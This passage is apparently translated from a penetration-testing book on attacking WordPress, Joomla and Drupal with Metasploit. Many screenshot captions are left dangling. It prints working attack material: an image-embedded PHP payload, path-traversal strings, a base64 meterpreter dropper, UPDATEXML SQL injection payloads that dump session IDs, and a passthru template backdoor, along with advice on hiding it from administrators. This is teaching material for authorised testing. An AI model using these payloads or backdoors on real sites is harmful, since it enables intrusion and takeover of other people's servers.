当用户点击删除媒体按钮时，以下代码将要求从数据库中获取输入并将其存储在$thumbfile中。然后，调用 unlink 函数来删除指定的文件。缩略图链接元数据被删除，因为它包含了对wp-config的路径：

接下来，我们将使用 Metasploit 利用漏洞。

使用 Metasploit 利用漏洞

Metasploit 有一个内置的利用模块，可以删除服务器上的任意文件。我们将使用wp-config文件的示例，因为我们稍后将讨论如何使用此利用来将 shell 上传到服务器上：

1. 要使用该模块，我们在 msfconsole 中运行以下命令。

2. 使用auxiliary/scanner/http/wp_arbitrary_file_deletion：

如前面的截图所示，我们输入了 RHOST、WordPress 用户名和密码以及配置文件的路径。在运行利用之前，让我们也看一下我们的 WordPress 数据库的wp_postmeta表中当前的条目，如下截图所示：

wp-config.php文件现在也存在于服务器上：

当执行模块时，Metasploit 会使用 WordPress 进行身份验证，并将.gif文件上传到服务器：

再次查看wp_postmeta表的条目，我们看到现在存在一个附件，并且附件的元数据以序列化格式存储。元数据包含文件名、宽度、高度和 EXIF 标头等详细信息：

接下来，利用将尝试编辑附件并将缩略图参数设置为我们要删除的文件的路径：

这会得到一个302响应，我们被重定向回帖子页面：

让我们看看在此请求之后数据库是如何更新的。再次查看wp_postmeta表，我们将看到已向序列化的meta_value列添加了两个新字符串。这些值是缩略图和配置文件的路径：

利用的下一步是删除已上传的附件，这将导致调用unlink()函数，从而删除配置文件：

接下来要考虑的问题是：删除配置文件如何让我们在服务器上实现远程代码执行（RCE）？

一旦wp-config.php文件被删除，WordPress 将重定向站点到setup-config.php，即默认的安装启动页面，如下截图所示：

想法是在我们自己的服务器上创建一个数据库，并重新设置 WordPress 与我们自己的数据库：

以下截图显示了在我们自己的服务器上创建 MySQL 数据库的 SQL 命令。这个服务器需要被 WordPress 访问，所以我们必须确保 MySQL 正在运行并且允许远程登录：

现在，我们点击继续并提供数据库连接详细信息，如下所示：

完成后，下一步是创建 WordPress 用户进行登录：

现在我们可以使用刚刚创建的 WordPress 用户登录。服务器上的 WordPress 实例现在已连接并配置为使用我们自己的数据库：

由于我们对 WordPress CMS 具有管理员访问权限，因此我们可以使用 Metasploit 模块在站点上上传 shell。可以使用以下利用方法来实现：

use exploit/unix/webapp/wp_admin_shell_upload

以下截图显示了前面命令的输出：

让我们设置此利用要使用的选项，如下所示：

现在，让我们执行该模块并等待魔法发生：

现在我们在服务器上有 meterpreter 访问权限。因此，已实现 RCE：

这是一个非常直接的利用。然后可以进一步破解哈希值以获得对管理员面板的访问权限，或者一旦获得明文密码，就可以使用 WordPress shell 上传模块在服务器上获取 meterpreter。在接下来的部分，我们将看一下 Google 地图插件中的未经身份验证的 SQL 注入。

WordPress 利用第 2 部分-未经身份验证的 SQL 注入

让我们来看另一个 SQL 注入的案例，这是在 WordPress 谷歌地图插件中发现的。Metasploit 已经有一个内置的利用模块，可以从数据库中提取wp_users表：

auxiliary/admin/http/wp_google_maps_sqli

在运行模块之前，让我们看一下插件的源代码，并了解问题出在哪里。

漏洞流程和分析

查看class.rest-api.php的源代码，我们可以看到用户输入作为名为fields的get参数传递到explode函数中。explode函数用于按指定字符串拆分字符串为多个部分：

然后，输入存储在$imploded变量中，使用implode()组合后直接传递到SELECT查询中，如下截图所示：

在这里，$imploded变量是注入点。这个漏洞也可以利用 Metasploit 模块来利用。

使用 Metasploit 利用漏洞

对目标运行利用程序将给我们显示存储在wp_users表中的数据，如下所示：

接下来，我们将看一下 WordPress 利用的第三部分和最后一部分。

WordPress 利用第 3 部分-WordPress 5.0.0 远程代码执行

在本节中，我们将看一下 RCE 漏洞，这个漏洞存在于 WordPress 版本 5.0.0 及以下。这个利用链两个不同的漏洞来实现代码执行（路径遍历和本地文件包含）。Metasploit 已经有一个针对这个漏洞的模块。

漏洞流程和分析

第一个漏洞是 CVE-2019-8942，它覆盖了post元数据条目：

未经过消毒的用户输入然后传递到wp_update_post()，它不检查不允许的post元数据字段：

攻击者可以覆盖_wp_attached_file的 post 元数据键为他们的恶意文件。在这一点上，我们已经利用了 CVE-2019-8942。现在我们已经控制了在 post 元数据条目中可以覆盖的内容，让我们利用下一个漏洞 CVE-2019-8943，即路径遍历漏洞。利用这个漏洞，我们可以将我们上传的恶意文件的路径从先前利用的漏洞（CVE-2019-8942）更改为我们选择的路径以实现 RCE。

wp_crop_image()函数调用get_attached_file()函数时没有进行任何文件路径验证。因此，在服务器上上传的恶意图片文件将在调用wp_crop_image()函数时传递给get_attached_file()函数（在裁剪图片时）：

我们可以利用这个漏洞来改变我们上传的恶意文件的路径，并将裁剪后的图片保存在默认主题目录中，即wp-content/themes/<default_theme>/<cropped-image>.jpg：

正如我们在上面的截图中所看到的，恶意图片被保存在默认主题文件夹中。现在我们的恶意图片已经就位，我们可以请求帖子，以便我们的 PHP 有效负载得到执行，从而实现 RCE。

使用 Metasploit 利用漏洞

可以使用以下命令在 Metasploit 控制台中选择模块：

use exploit/multi/http/wp_crop_rce

以下截图显示了上述命令的输出：

我们设置了如下截图中所示的必需选项。我们将需要 WordPress 博客上的低权限帐户，因为此漏洞需要身份验证以及上传和编辑媒体的权限：

利用发生在几个步骤中。Metasploit 模块的第一步是检查提供的targeturi是否正确：

得到 200 的 HTTP 响应代码后，确认了targeturi路径：

模块继续下一步——身份验证。在此步骤中，模块使用的用户名和密码将被使用。在与 WordPress 网站进行身份验证时，模块还请求重定向到一个不存在的页面：

HTTP 响应将重定向（302）到一个不存在的页面。这样做是为了从服务器获取会话 cookie。在此步骤之后的一切都是使用这些 cookie 完成的：

让我们确认数据库状态：

现在会话已从服务器检索到，在下一步中，该模块请求media-new.php页面。该页面负责将媒体上传到 WordPress 网站：

这里的目标是上传一个嵌入了我们有效载荷的图像：

然后，该模块上传了嵌入了我们的有效载荷的图像：

正如我们在前面的截图中看到的，嵌入在图像中的有效载荷是<?=$_GET[0];?>。我们使用这样一个压缩的有效载荷的原因是因为我们剩下的空间不多，用于执行有效载荷。另外，请注意，有效载荷嵌入在两个不同的地方——扫描标头后面和 EXIF 元数据中。嵌入两次的原因是为了确保有效载荷被执行。

WordPress 支持两种用于 PHP 的图像编辑扩展：GD Library和Imagick。GD Library 压缩图像并去除所有 EXIF 元数据。Imagick 不会去除任何 EXIF 元数据。这就是为什么该模块将有效载荷嵌入图像两次的原因。

上传时的路径和 POST 元数据存储在数据库中：

一旦恶意图像上传，响应中会分配一个 ID 给图像，并显示其完整路径：

该模块检查 WordPress 网站是否容易受到 CVE-2019-8942 和 CVE-2019-8943 的攻击。它通过以下步骤来实现：

1. 通过查询所有附件来确认图像是否已上传或不。

2. 它确保恶意图像以 400 x 300 的大小保存。（这将有助于进行虚假裁剪时。）

3. 它获取了更新的wp_nonce和编辑恶意图像时的更新文件名。

4. 它检查图像的 POST 元数据条目是否可以从.jpg被覆盖为.jpg?/x。如果更改了，就表明 WordPress 网站容易受到 CVE-2019-8942 的攻击。

5. 它裁剪图像（这里是一个虚假的裁剪）来检查 WordPress 网站是否容易受到 CVE-2019-8943 的攻击，即路径遍历漏洞。

6. 一旦模块确认了漏洞，它通过将 POST 元数据从.jpg覆盖为.jpg?/../../../../themes/#{@current_theme}/#{@shell_name}来利用 CVE-2019-8942：

以下截图显示了meta_value列的更新值：

我们还可以在以下截图中看到，默认模板已更改为cropped-zAdFmXvBCk.jpg：

然后，模块请求带有帖子 ID 的默认模板，并附加0参数以执行 RCE 的命令：

命令的输出如下：

接下来，模块会执行以下操作：

1. 它确认系统中是否存在 Base64 程序。

2. 它将 PHP meterpreter 转换为 Base64，并使用echo <base64_of _PHP_meterpreter> | base64 -d > shell.php将其上传到服务器。

3. 它请求上传的 PHP shell 以获得 meterpreter 访问。

4. 以下截图显示了 Base64 编码的 meterpreter 代码被写入 PHP 文件：

以下截图显示了从服务器成功建立的 meterpreter 连接：

在下一节中，我们将定制 Metasploit 利用。

走出舒适区-定制 Metasploit 利用

对于我们在上一节中使用的 Metasploit 模块exploit/multi/http/wp_crop_rce，我们需要设置模块的用户名和密码才能使其工作。但是如果在认证时有 reCAPTCHA 呢？模块肯定会失败，因为模块无法绕过获取会话 cookie 的方法：

1. 让我们修改模块，使其也能与COOKIE数据存储一起使用：

我们可以在以下截图中看到更新后的模块选项：

1. 让我们为COOKIE数据存储定义一个函数：

1. 我们还需要根据响应代码验证 cookie。因此，让我们定义一个validate_cookie()函数；这将使用 200 的 HTTP 响应代码验证 cookie：

1. 现在，在exploit()函数中，让我们包括一个fail-safe fail_with()方法，以确保如果用户名或密码缺失，利用将会失败。如果 cookie 也没有设置，也会这样做：

1. 如果用户名和密码缺失，模块将尝试使用COOKIE。让我们更新模块并为其设置COOKIE选项：

1. 现在，让我们运行模块，看魔术发生：

我们已经使用COOKIE得到了 meterpreter！

摘要

在本章中，我们首先讨论了 WordPress 的架构，然后是目录结构。接下来，我们学习了如何对 WordPress 进行手动和自动化的侦察。之后，我们看了一些利用的例子，并逐步手动和使用 Metasploit 模块进行了整个利用过程的演示。

在下一章中，我们将学习如何对基于 Joomla 的内容管理系统（CMS）进行渗透测试。

问题

1. 所有版本的 WordPress 的侦察步骤都一样吗？

2. 我找到了一个wp-admin目录，但目录本身是不可访问的。在这种情况下我该怎么办？

3. WordPress 可以免费下载吗？

进一步阅读

以下链接可用于了解更多有关 WordPress 的利用方法和最新发布的漏洞：

• wpvulndb.com/

• wpsites.net/wordpress-tips/3-most-common-ways-wordpress-sites-are-exploited/

• www.exploit-db.com/docs/english/45556-wordpress-penetration-testing-using-wpscan-and-metasploit.pdf?rss

第十二章：渗透测试 CMS - Joomla

在上一章中，我们学习了如何对 WordPress 进行渗透测试（pentesting）。就像 WordPress 一样，还有另一个被组织广泛使用来管理其网站门户的内容管理系统（CMS）- Joomla。在本章中，我们将学习 Joomla，其架构以及可用于测试基于 Joomla 的网站安全性的模块。以下是本章将涵盖的主题：

• Joomla 简介

• Joomla 架构

• 侦察和枚举

• 使用 Metasploit 枚举 Joomla 插件和模块

• 使用 Joomla 进行漏洞扫描

• 使用 Metasploit 进行 Joomla 利用

• Joomla shell 上传

技术要求

以下是本章的技术先决条件：

• Metasploit 框架（github.com/rapid7/metasploit-framework）

• Joomla CMS（www.joomla.org/）

• 已安装的数据库；推荐使用 MySQL（www.mysql.com/）

• 对 Linux 命令的基本了解

Joomla 简介

Joomla 是一个由 Open Source Matters，Inc.创建的免费开源 CMS，用于发布 Web 内容。它基于模型-视图-控制器（MVC）Web 应用程序框架，可以独立于 CMS 使用。 Joomla 成立于 2005 年 8 月 17 日，是 Mambo 分支的结果。

Joomla 有成千上万的扩展和模板，其中许多是免费提供的。 Joomla 的一些功能包括以下内容：

• 它是多语言的。

• 它提供开箱即用的搜索引擎优化（SEO）并且是搜索引擎友好（SEF）的。

• 它是免费使用的，遵循通用公共许可证（GPL）。

• 它具有访问控制列表，允许您管理网站的用户以及不同的用户组。

• 它具有菜单管理，因此可以创建尽可能多的菜单和菜单项。

现在我们已经简要介绍了 Joomla，让我们看看它的架构，以深入了解软件。

Joomla 架构

Joomla 的架构基于 MVC 框架。我们可以将架构分为四个主要部分：

• 显示：这是用户访问网站时看到的前端。它包含 HTML 和 CSS 文件。

• 扩展：扩展可以进一步分为五种主要类型：

• 组件：组件可以被视为迷你应用程序；它们既适用于用户也适用于管理员。

• 模块：这些是可以用于呈现页面的小型灵活扩展。一个例子是登录模块。

• 插件：这些是更高级的扩展，也被称为事件处理程序。这些事件可以从任何地方触发，并执行与该事件相关联的插件。

• 模板：模板负责网站的外观。有两种类型的模板—前端和后端。后端模板由管理员用于监视功能，而前端模板向访问者/用户呈现网站。

• 语言：这些处理网站文本的翻译。 Joomla 支持 70 多种语言。

• 框架：框架由 Joomla 核心组成。这些是负责应用程序的主要功能的 PHP 文件，例如配置文件。

• 数据库：数据库存储用户信息，内容等。 Joomla 支持 MySQL，Microsoft Server SQL（MSSQL）和 PostgreSQL 等。

文件和目录结构

Joomla 中的目录名称非常简单。我们可以通过查看其名称来猜测目录的内容。 Joomla 文件和目录具有以下结构：

• 根：这是我们提取 Joomla 源代码的地方。它包含一个执行安装过程的索引文件。

• 管理员：此文件夹包含 Joomla 管理员界面的所有文件（组件、模板、模块、插件等）。

• 缓存：此文件夹包含 Joomla 缓存的文件，以增加 CMS 的性能和效率。

• 组件：此文件夹包含所有用户组件（不包括管理员），包括登录和搜索。

• 图像：此目录包含 Joomla 界面使用的所有图像，以及用户上传的图像。

• 包含：此目录包含核心 Joomla 文件。

• 安装：此文件夹包含安装 Joomla 所需的文件。安装后应删除它。

• 语言：此文件夹包含所有语言文件。Joomla 以简单的 INI 格式文件存储翻译。

• 库：此文件夹包含整个核心库，以及 Joomla 的第三方库。它包含描述文件系统、数据库等的文件。

• 日志：此文件夹包含应用程序日志。

• 媒体：此目录存储所有媒体文件，如 Flash 和视频。

• 模块：模块放置在 Joomla 模板中，如面板。此文件夹包含所有前端模块的文件。一些常见的模块包括登录、新闻和投票。

• 插件：此文件夹包含所有插件文件。

• 模板：此文件夹包含所有前端模板文件。每个模板都按名称组织在文件夹中。

• Tmp：此文件夹存储管理员和用户界面使用的临时文件和 cookie。

我们现在已经了解了 Joomla 的架构。接下来，我们将看一下侦察和枚举。

侦察和枚举

在使用 Joomla 之前，要执行的第一步是确认 Web 应用程序是否由其提供动力。有各种方法可以检测 CMS 的安装，其中一些列在这里：

• 通过搜索<meta name="generator" content="Joomla! - Open Source Content Management" />

• 通过探索X-Meta-Generator HTTP标头

• 通过检查RSS/atom feeds: index.php?format=feed&type=rss/atom

• 通过 Google Dorks：inurl:"index.php?option=com_users

• 通过查找X-Content-Encoded-By: Joomla标头

• 通过查找joomla.svg/k2.png/SOBI 2.png/SobiPro.png/VirtueMart.png

接下来，让我们找出安装了哪个版本的 Joomla。

版本检测

现在我们已经对 Joomla 有了足够的了解，我们可以开始 CMS 渗透测试（我们在上一章中学到了，第八章，Pentesting a CMS – WordPress）。渗透测试 Joomla CMS 的第一步是找出目标服务器上安装的版本。以下是我们可以检测安装了哪个版本的方法：

• 通过元标记进行检测

• 通过服务器标头进行检测

• 通过语言配置进行检测

• 通过README.txt进行检测

• 通过manifest文件进行检测

• 通过唯一关键字进行检测

通过元标记进行检测

generator元标记通常被描述为用于生成文档或网页的软件。确切的版本号在元标记的content属性中披露：

！

基于 Joomla 的网站通常在其源代码中具有此标记，如前面的屏幕截图所示。

通过服务器标头进行检测

Joomla 的版本号经常在托管应用程序的服务器的响应标头中披露。版本可以在X-Content-Encoded-By标头中披露，如下面的屏幕截图所示：

！

接下来，我们将通过语言配置来进行检测。

通过语言配置进行检测

Joomla 支持 70 多种语言。每种语言包都有一个 XML 文件，其中披露了版本信息，如下所示：

！

可以通过/language/<language-type>/<language-type>.xml页面访问此页面。在这种情况下，我们搜索了英国英语（en-GB）格式。

通过 README.txt 检测

这是最简单和最基本的技术。我们所要做的就是访问README.txt页面，我们将看到版本号，如下所示：

该文件包含有关 Joomla 首次用户的各种信息。

通过清单文件检测

Joomla 的manifest文件位于/administrator/manifests/files/joomla.xml，包含了有关服务器上安装的 CMS 的基本信息，以及正在运行的模块、版本号、安装日期等。这也是查找正在运行的 CMS 版本号的好地方：

上述截图显示了包含版本号的manifest文件。

通过唯一关键字检测

确定 Web 服务器上运行的 Joomla 版本的另一种方法是在以下文件中查找特定关键字。这些关键字是特定于版本的，其中一些在此代码块后面的表中列出：

administrator/manifests/files/joomla.xml
language/en-GB/en-GB.xml
templates/system/css/system.css
media/system/js/mootools-more.jsh
taccess.txt
language/en-GB/en-GB.com_media.ini

根据其 Joomla 版本的唯一关键字详细信息如下：

Joomla 版本	唯一关键字
版本 2.5	MooTools.More={version:"1.4.0.1"}
版本 1.7	21322 2011-05-11 01:10:29Z dextercowley``22183 2011-09-30 09:04:32Z infograf768``21660 2011-06-23 13:25:32Z infograf768``MooTools.More={version:"1.3.2.1"}
版本 1.6	20196 2011-01-09 02:40:25Z ian``20990 2011-03-18 16:42:30Z infograf768``MooTools.More={version:"1.3.0.1"}
版本 1.5	MooTools={version:'1.12'}``11391 2009-01-04 13:35:50Z ian
版本 1.0	47 2005-09-15 02:55:27Z rhuk``423 2005-10-09 18:23:50Z stingrey``1005 2005-11-13 17:33:59Z stingrey``1570 2005-12-29 05:53:33Z eddieajau``2368 2006-02-14 17:40:02Z stingrey``4085 2006-06-21 16:03:54Z stingrey``4756 2006-08-25 16:07:11Z stingrey``5973 2006-12-11 01:26:33Z robs``5975 2006-12-11 01:26:33Z robs

以下截图显示了en-GB.ini文件中的一个关键字，这意味着版本是 1.6：

在下一节中，我们将看看如何使用 Metasploit 对 Joomla 进行侦察。

使用 Metasploit 进行 Joomla 侦察

现在我们已经了解了检测基于 Joomla 的目标的不同方法，我们可以使用 Metasploit 框架已经提供的 Metasploit 模块进行侦察。我们将使用的第一个模块是joomla_version模块。我们可以使用use auxiliary/scanner/http/joomla_version命令，如下所示：

设置模块所需的所有信息（即 RHOSTS 和 RPORT）后，我们可以使用run命令执行模块，如下所示：

该模块将通过我们在版本检测部分中介绍的不同方法返回运行在目标实例上的 Joomla 版本。在下一节中，我们将学习如何使用 Metasploit 枚举 Joomla 插件和模块。

使用 Metasploit 枚举 Joomla 插件和模块

我们还可以使用 Metasploit 的内置辅助工具来进行 Joomla 的枚举。以下是在 Metasploit 中可用的用于枚举 Joomla 的类别：

• 页面枚举

• 插件枚举

页面枚举

第一个是页面枚举。这个辅助程序扫描 Joomla 中存在的常见页面，如readme和robots.txt。

要使用辅助工具，我们使用以下命令：

use auxiliary/scanner/http/joomla_pages

然后，我们使用show options命令查看各种模块选项，如下所示：

我们设置RHOSTS和RPORT并运行模块。模块完成后，发现的页面将被打印出来，如下所示：

下一步是使用另一个 Metasploit 模块枚举 Joomla 插件。

插件枚举

Metasploit 的另一个辅助工具，可用于枚举插件的是joomla_plugins。该辅助工具使用一个单词列表来查找目录路径，以检测 Joomla 使用的各种插件。我们可以执行以下命令来使用插件枚举模块：

use auxiliary/scanner/http/joomla_plugins

以下屏幕截图显示了前述命令的输出：

show options的输出如前面的屏幕截图所示。一旦执行了模块，脚本将返回它发现的插件的名称，如下所示：

默认情况下，辅助工具使用github.com/rapid7/metasploit-framework/raw/master/data/wordlists/joomla.txt上的单词列表；我们也可以使用自定义单词列表。在下一节中，我们将使用 Joomla 进行漏洞扫描。

使用 Joomla 进行漏洞扫描

Metasploit 目前还没有内置的 Joomla 特定漏洞评估模块。这给我们两个选择；要么像我们在上一章中为 WordPress 所做的那样，为 Joomla 自己制作一个包装器或插件，要么使用已经在线可用的不同工具，如 JoomScan 或 JoomlaVS。在本节中，我们将看一个可以用于执行 Joomla 漏洞评估的优秀工具。

官方 Joomla GitHub 维基页面上包括以下描述：

JoomlaVS 是一个 Ruby 应用程序，可以帮助自动评估 Joomla 安装对利用的脆弱性。它支持基本的指纹识别，并且可以扫描组件、模块和模板中存在的漏洞，以及 Joomla 本身存在的漏洞。

JoomlaVS 可以从以下网址下载：github.com/rastating/joomlavs。

可以通过执行以下命令来运行该工具：

./joomlavs.rb

在没有任何参数的情况下运行该工具将打印help部分，如下面的屏幕截图所示。该工具支持不同的扫描类型，例如仅扫描模块、模板或组件：

要对 URL 进行所有扩展的扫描，我们可以使用以下命令：

./joomlavs.rb --url http://<domain here>/ -a

工具将开始运行，并且它发现的所有细节将打印在屏幕上，如下所示：

一旦我们获得了关于可用漏洞、插件和版本号的信息，我们就可以继续进行利用过程。

使用 Metasploit 进行 Joomla 漏洞利用

一旦所有的枚举和版本检测完成，就该进行利用了。在本节中，我们将看一些 Joomla 可以被利用的方式。第一个是在 Joomla 中应用的众所周知的 SQL 注入漏洞，以获得远程代码执行（RCE）。Metasploit 模块可用于此，我们可以通过执行use exploit/unix/webapp/joomla_comfields_sqli_rce命令来使用它，如下面的屏幕截图所示：

在运行利用之前，让我们看看它是如何工作的。

漏洞利用的原理是什么？

以下 SQL 查询被发送到服务器，返回表名前缀的 Base64 编码值：

这可以如下所示：

(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))

可以在此处看到发送到 Web 服务器的请求的屏幕截图：

网络服务器返回表名前缀的 Base64 编码值，如下所示，在ABC之间：

以下屏幕截图显示了用于转储用户会话的 SQL 查询：

如下所示：

(UPDATEXML(2170,CONCAT(0x2e,0x414243,(SELECT MID(session_id,1,42) FROM ntnsi_session where userid!=0 LIMIT 1),0x414243),4879))

请求使用send_request_cgi()方法发送。服务器将返回内部服务器错误错误（代码500），但我们可以使用十六进制值——换句话说，#{start_h}和#{fin_h}——作为正则表达式从输出中查找会话。以下截图显示了查找十六进制值之间会话的代码：

以下截图显示了发送到服务器以转储会话信息的 SQL 查询：

以下截图显示了 Web 服务器的响应，显示了用户的会话：

如下所示，从数据库中检索到了会话，但在我们的情况下，我们遇到了一个问题；似乎存在字符限制：

查看数据库中的值，我们可以看到并没有返回所有字符，如下所示：

最后三个具有十六进制值ABC的字符未显示在屏幕上。为了解决这个问题，我们可以使用一个解决方法，即不使用单个查询从数据库中检索会话，而是使用MID()函数将会话分为两部分。

需要使用的第一个 SQL 会话负载1如下所示：

(UPDATEXML(2170,CONCAT(0x2e,0x414243,(SELECT MID(session_id,1,15) FROM ntnsi_session where userid!=0 order by time desc LIMIT 1),0x414243),4879))

如下所示：

执行前述 SQL 负载1的结果如下所示：

现在，我们需要使用的第二个 SQL 会话负载如下：

(UPDATEXML(2170,CONCAT(0x2e,0x414243,(SELECT MID(session_id,16,42) FROM ntnsi_session where userid!=0 order by time desc LIMIT 1),0x414243),4879))

如下所示：

执行前述 SQL 负载2的结果如下所示：

现在，我们只需要将我们在前面步骤中通过执行负载1和2检索到的两个输出连接成一个。让我们将代码添加到模块中：

现在代码已经修改，让我们保存文件并执行模块，看看是否有效：

如我们从前面的截图中所见，我们成功检索到了会话，并且使用存储在数据库中的会话，我们打开了一个 Meterpreter 会话！

Joomla shell 上传

为了理解先前提到的漏洞中上传 shell 的位置，我们将从管理员面板手动上传一个基本的命令执行 shell。

利用后，一旦我们成功以管理员身份登录，我们可以从模板菜单中上传一个 shell。以下截图显示了 Joomla 的管理面板：

从面板菜单中，我们点击 Extensions | Templates | Templates，如下所示：

我们被重定向到模板页面，列出了当前上传的所有模板，包括当前使用的模板。最好不要触摸当前的模板，因为这可能会引起管理员注意到变化并发现我们的代码：

前面的截图显示了模板列表。我们将选择 Protostar，因此点击模板，然后将被重定向到下一页，在左侧列出了所有模板的 PHP 页面，如下所示：

我们点击 index.php 并向文件添加我们自定义的 PHP 一行代码。这将充当后门，并允许我们执行系统级命令：

<?php passthru($GET['cmd']); ?>

以下截图显示了索引的第一行现在有我们的后门：

保存更改后，我们可以在以下路径浏览我们的后门：

domainname.com/<joomla path>/templates/<template name>/index.php?cmd=id

以下截图显示我们的命令已成功执行：

[图片]

一旦我们向客户提供了概念验证，Joomla 的利用就结束了。然而，超越正常的利用方法并进入网络是需要在项目启动会议中与客户讨论的事情。作为渗透测试人员，我们必须遵守客户定义的范围。

如果上传了这样的有效负载，仅仅是为了获得概念验证，那么在利用完成后，我们有义务删除这些后门。

总结

在本章中，我们学习了 Joomla 的架构及其文件和目录结构。然后，我们进行了侦察过程，并了解了查找 Joomla 实例及其版本号的不同方法。我们还研究了为我们自动化这一过程的工具和脚本。最后，我们深入研究了 Joomla 利用的过程，以及利用如何使用先前发现的公开利用的示例。

在下一章中，我们将学习如何对另一个流行的 CMS——Drupal 进行渗透测试。

问题

1. 我可以在任何操作系统上安装 Joomla 吗？

2. 如果现有的 Metasploit 模块无法找到 Joomla 的版本，我可以自己创建 Metasploit 模块吗？

3. Metasploit 模块无法检测安装的 Joomla 版本。还有其他检测方法吗？

4. 我成功利用 Joomla 上传漏洞上传了一个 shell。有没有可能以隐秘的方式在 CMS 中设置后门？

进一步阅读

• Joomla 中易受攻击的扩展列表可以在vel.joomla.org/live-vel找到。

• 有关 Joomla 架构的更多信息可以在docs.joomla.org/Archived:CMS_Architecture_in_1.5_and_1.6找到。

第十三章：渗透测试 CMS - Drupal

在上一章中，我们解释了如何对 Joomla 网站进行渗透测试。WordPress、Joomla 和 Drupal 之间存在相当大的差异，特别是在安全性和架构方面。在本章中，我们将学习有关 Drupal、其架构以及如何测试基于 Drupal 的网站的内容。

在本章中，我们将涵盖以下主题：

• Drupal 及其架构简介

• Drupal 侦察和枚举

• 使用 droopescan 进行 Drupal 漏洞扫描

• 利用 Drupal

技术要求

对于本章，您将需要以下内容：

• 一些 PHP 知识

• 对 Metasploit Framework 的基础了解

• 了解基本的 Linux 命令，如grep和ag

• 对 Burp Suite 的基础了解

Drupal 及其架构简介

Drupal 是一个用 PHP 编写的免费开源内容管理系统（CMS）。它最初是由Dries Buytaert作为留言板编写的，但在 2001 年成为一个开源项目。尽管与其他 CMS 相比，Drupal 被认为使用起来有点棘手，但它确实提供了内置的 API 来促进自定义模块的开发。

Drupal 的架构

描述 Drupal 架构的一般方法是将其分为四个主要部分，如下图所示：

要了解架构，首先让我们了解 Drupal 的组件。Drupal 的组件列在这里：

• 主题：主题是定义 Drupal 网站用户界面的文件集合。这些文件包含用 PHP、HTML 和 JavaScript 编写的代码。

• 模块：模块是事件驱动的代码文件，可用于扩展 Drupal 的功能。一些模块是已知的核心模块，由 Drupal 开发团队维护，因为它们是 Drupal 运行的重要部分。

• 核心 API：Drupal 的核心是用于与内容和其他模块通信的 API。这些 API 包括以下内容：

• 数据库 API：这允许开发人员轻松更新/修改数据库中的数据。

• 缓存 API：此 API 存储页面响应，以便浏览器不必在每次请求时重新渲染页面。

• 会话处理 API：这可以跟踪网站上不同用户及其活动。

• 数据库：这是存储所有数据的地方。Drupal 支持不同类型的数据库，如 MySQL、Postgres 和 SQLite。

现在我们对 Drupal 的架构有了基本了解，让我们接下来看目录结构。

目录结构

Drupal 具有以下目录结构：

• 核心：这包括默认 Drupal 安装使用的文件。

• 模块：安装在 Drupal 中的所有自定义模块都存储在这里。

• 配置文件：此文件夹存储安装配置文件。安装配置文件包含有关预安装模块、主题和给定 Drupal 站点配置的信息。

• 网站：如果 Drupal 与多个站点一起使用，则包含特定于站点的模块。

• 主题：基础主题和所有其他自定义主题都存储在此目录中。

• 供应商：此目录包含 Drupal 使用的后端库，如 Symfony。

默认 Drupal 安装的目录结构如下截图所示：

现在我们对 Drupal 的基础知识和目录结构有了了解，让我们继续下一个主题：Drupal 侦察和枚举。

Drupal 侦察和枚举

正如我们在前几章中所讨论的，侦察和枚举是任何渗透测试的关键步骤。在本节中，我们将看一些可用于识别 Drupal 安装和已安装版本的方法。

通过 README.txt 进行检测

这是最简单和最基本的技术。我们只需要访问README.txt页面，就会看到一行文字，上面写着“保护文件和目录免受窥视”：

这将表明该实例确实是 Drupal 实例。

通过元标记检测

具有name属性为"Generator"的元标记标识用于生成文档/网页的软件。版本号在元标记的content属性中公开：

基于 Drupal 的网站通常在其源代码中有这个标签。

通过服务器标头检测

如果服务器响应中存在以下标头之一，也可以识别 Drupal：

• X-Generator HTTP 标头：这标识了 Drupal 网站。

• X-Drupal-Cache 标头：这个标头由 Drupal 的缓存使用。如果标头值为X-Drupal-Cache: MISS，这意味着页面不是从缓存显示中提供的，如果你看到X-Drupal-Cache: HIT，这意味着页面是从缓存中提供的。

• X-Drupal-Dynamic-Cache 标头：该动态缓存用于加载动态内容（缓存页面），但不包括个性化部分。

• 过期：1978 年 11 月 19 日。

以下屏幕截图显示了服务器响应中的这些标头：

Drupal 版本 8+引入了动态缓存标头X-Drupal-Dynamic-Cache，不适用于 Drupal 版本 7 或更早版本。

通过 CHANGELOG.txt 检测

有时，CHANGELOG.txt文件也会公开版本号。该文件可以在这里找到：

/CHANGELOG.txt 
/core/CHANGELOG.txt

我们可以浏览/CHANGELOG.txt或/core/CHANGELOG.txt来识别已安装的 Drupal 版本：

在某些情况下，我们可能找不到CHANGELOG.txt文件。在这种情况下，我们可以尝试本节中提到的其他检测技术。

通过 install.php 检测

尽管建议在安装后删除install.php文件，但开发人员经常将其留在服务器上。它可以用于找到 Drupal 安装的版本号：

此方法仅适用于 Drupal 版本 8.x。

这些检测技术只能确定站点是否安装了 Drupal 以及使用的版本。它不会找到 Drupal 中安装的插件、主题和模块。要识别插件、主题和模块，我们需要枚举它们。我们需要枚举插件、主题和模块，因为这些是攻击者可以利用的入口点，以控制 Drupal 站点。作为渗透测试人员，我们需要找到有漏洞的插件、主题和模块（已安装的版本）并报告它们。

插件、主题和模块枚举

现在几乎所有在线可用的开源工具都使用了一种非常常见的技术来枚举 Drupal 插件、主题和模块。要进行枚举，我们只需在themes/、plugins/和modules/目录中寻找以下文件：

/README.txt 
/LICENSE.txt 
/CHANGELOG.txt

README.txt文件提供了插件、主题和模块的版本。它甚至还公开了 Drupal 版本号。LICENSE.txt文件包括 GNU通用公共许可证（GPL）许可证。如果plugins/、themes/或modules/目录中有这个文件，这意味着特定的插件、主题或模块已安装。CHANGELOG.txt文件公开了已安装的插件、主题或模块的版本号。

模块名称可以从README.txt文件或 URL 本身中找到，如下面的屏幕截图所示：

在枚举方面，我们可以编写自己的 Metasploit 包装模块，或者使用第三方开源工具 droopescan。要编写自己的包装器，我们可以按照上一章第八章中所做的进行。我们现在将继续使用 droopescan 进行漏洞扫描。

使用 droopescan 进行 Drupal 漏洞扫描

没有 Metasploit 模块可以对 Drupal 进行漏洞扫描。因此，我们需要使用第三方工具，如 droopescan，来帮助我们发现 Drupal 中的漏洞。droopescan 可以从github.com/droope/droopescan下载：

1. 让我们使用以下命令克隆 droopescan 的 Git 存储库进行安装：

git clone https://github.com/droope/droopescan

以下是先前命令的输出截图：

